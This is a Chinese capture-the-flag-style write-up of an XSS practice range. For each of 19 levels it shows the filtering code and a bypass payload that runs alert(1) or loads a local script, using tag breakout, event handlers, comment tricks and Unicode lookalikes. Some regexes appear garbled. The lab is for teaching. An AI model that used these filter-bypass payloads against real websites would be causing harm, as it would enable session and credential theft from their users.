一款有意思的XSS靶场通关笔记 建议收藏

admin 2022年9月9日11:13:32安全文章评论3 views3693字阅读12分18秒阅读模式

XSS全称跨站脚本(Cross Site Scripting),较合适的方式应该叫做跨站脚本攻击跨站脚本 攻击是一种常见的web安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受 害者访问这些页面时,浏览器会解析并执行这些恶意代码,被用于进行窃取隐私、钓鱼欺骗、窃取密码、传播恶意代码等攻击。

项目地址

github:https://github.com/haozi/xss-demo

在线地址:https://xss.haozi.me/

第一关

没有任何过滤和难度,直接标准的alert(1)搞定

<script>alert(1)</script>
一款有意思的XSS靶场通关笔记 建议收藏

第二关

观察源代码发现我们输入的内容被<textarea></textarea>包裹了起来,我们尝试将前面一个<textarea>进行闭合然后alert(1)

源代码

function render (input) {
  return '<textarea>' + input + '</textarea>'
}

payload

</textarea><script>alert(1)</script>

第三关

input缺少闭合。<input type=”name” value=””>

源码

function render (input) {
  return '<input type="name" value="' + input + '">'
}

payload

"><script>alert(1)</script>

第四关

通过一个正则表达式把我们的括号过滤掉了源码

function render (input{
  const stripBracketsRe = /[()]/g
  input = input.replace(stripBracketsRe, '')
  return input
}

payload

<script>alert`1`</script>

第五关

在上一题的基础上还屏蔽了",可以对()进行unicode编码再解码源码

function render (input) {
  const stripBracketsRe = /[()`]/g
  input = input.replace(stripBracketsRe, '')
  return input

payload

<svg><script>alert&#40;1&#41;</script>

第六关

把我们所有输入的都框在了注释里,而且屏蔽了我们的后注释符-->源码

function render (input) {
  input = input.replace(/-->/g, '😂')
  return '<!-- ' + input + ' -->'
}

payload可以用–!>代替–>

--!><script>alert(1)</script>

第七关

过滤了> ,尝试添加一个onmouseover的属性源码

function render (input) {
  input = input.replace(/auto|on.*=|>/ig, '_')
  return `<input value=1 ${input} type="text">`
}

payload

onmouseover
=alert(1)

当我们的鼠标拂过输入框的那个1,就会弹出alert(1)了!

一款有意思的XSS靶场通关笔记 建议收藏

第八关

输入标准的alert(1)后发现他是从 <> 做一个完整的过滤

源码

function render (input{
  const stripTagsRe = /</?[^>]+>/gi

  input = input.replace(stripTagsRe, '')
  return `<article>${input}</article>`
}

既然无法闭合,那么我们考虑在标签<article>属性里有什么能搞操作的。想到可以插入图片payload

<img src=x onerror="alert(1)"

第九关

<style>标签不能直接屏蔽,会被过滤替换成/* 坏人 */,那么我们在e>之间空格就可以了

源码

function render (src) {
  src = src.replace(/</style>/ig, '/* u574Fu4EBA */')
  return `
    <style>
      ${src}
    </style>
  `
}

payload

</style ><script>alert(1)</script>

第十关

我们在后面加上点东西让这个网站无法访问,再用onerror进行弹出1。

源码

function render (input) {
  let domainRe = /^https?://www.segmentfault.com/
  if (domainRe.test(input)) {
    return `<script src="${input}"></script>`
  }
  return 'Invalid URL'
}

payload

https://www.bbskali.coms" onerror="alert(1)

第十一关

源码

function render (input) {
  function escapeHtml(s) {
    return s.replace(/&/g, '&amp;')
            .replace(/'/g, '&#39;')
            .replace(/"/g, '&quot;')
            .replace(/</g, '&lt;')
            .replace(/>/g, '&gt;')
            .replace(///g, '&#x2f')
  }

  const domainRe = /^https?://www.segmentfault.com/
  if (domainRe.test(input)) {
    return `<script src="
${escapeHtml(input)}"></script>`
  }
  return 'Invalid URL'
}

在本地搭建一个网站,并在根目录建立一个含有alert(1)的js文件payload

https://[email protected]://localtest/haha.js

第十二关

输入的所有东西转化成大写源码

function render (input) {
  input = input.toUpperCase()
  return `<h1>${input}</h1>`
}

payload和上关一样,将path部分全部大写即可。

第十三关

屏蔽了script这个单词,并把输入的所有东西转化成大写

源码

function render (input) {
  input = input.replace(/script/ig, '')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

payload

<scscriptript src="http://127.0.0.1/KALI.JS"></scrscriptipt>

第十四关

源码

function render (input) {
  input = input.replace(/[</"']/g, '')
  return `
    <script>
          // alert('${input}')
    </script>
  `
}

payload

直接一个空行就能忽略掉那个单行注释

x
alert(1) 
-->

第十五关

过滤规则如下

function render (input) {
  input = input.replace(/<([a-zA-Z])/g, '<_$1')
  input = input.toUpperCase()
  return '<h1>' + input + '</h1>'
}

payload没有过滤古英文!!s的古英文写法是ſ

<ſcript src="http://127.0.0.1/666.JS"></script>

第十六关

浏览器先解析html,然后再解析 js 直接前后补全即可

');alert('1

第十七关

直接alert(1)即可。

第十八关

从源码看出,这道题过滤的规则比较多,但实际上补全再用个堆叠即可

");alert("1
一款有意思的XSS靶场通关笔记 建议收藏

第十九关

直接闭合script并在后面新建一个script标签

</script>
<script>
alert`1`;
</script>
<script>

总结

虽然xss漏洞现在很少了,但是并不意味着完全没有。本文从过xss靶场为了介绍了常见的xss利用方法和出现漏洞的原因。希望开发者在开发时应道注意此问题带来的危害。

更多精彩文章 关注我们


原文始发于微信公众号(kali黑客笔记):一款有意思的XSS靶场通关笔记 建议收藏

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月9日11:13:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  一款有意思的XSS靶场通关笔记 建议收藏 http://cn-sec.com/archives/1287773.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: